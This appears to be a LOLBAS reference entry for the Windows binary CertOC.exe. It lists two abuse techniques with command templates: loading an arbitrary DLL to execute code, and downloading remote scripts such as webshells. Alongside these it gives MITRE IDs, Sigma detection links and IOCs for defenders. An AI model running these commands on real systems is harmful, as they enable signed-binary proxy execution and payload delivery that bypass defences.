LOL · Binary

CertOC.exe

2 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Loads the target DLL file

Use Execute code within DLL file

certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
IOC: Process creation with given parameter
IOC: Unsigned DLL load via certoc.exe
IOC: Network connection via certoc.exe
Refs: twitter.com/sblmsrsn/status/1445758411803480072?s=20
twitter.com/sblmsrsn/status/1452941226198671363?s=20
lolbas-project.github.io/lolbas/Binaries/CertOC/

File DownloadWindows

Downloads text formatted files

Use Download scripts, webshells etc.

certoc.exe -GetCACAPS {REMOTEURL:.ps1}

Evidence: Upstream reference
Environment: Local host
Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
IOC: Process creation with given parameter
IOC: Unsigned DLL load via certoc.exe
IOC: Network connection via certoc.exe
Refs: twitter.com/sblmsrsn/status/1445758411803480072?s=20
twitter.com/sblmsrsn/status/1452941226198671363?s=20
lolbas-project.github.io/lolbas/Binaries/CertOC/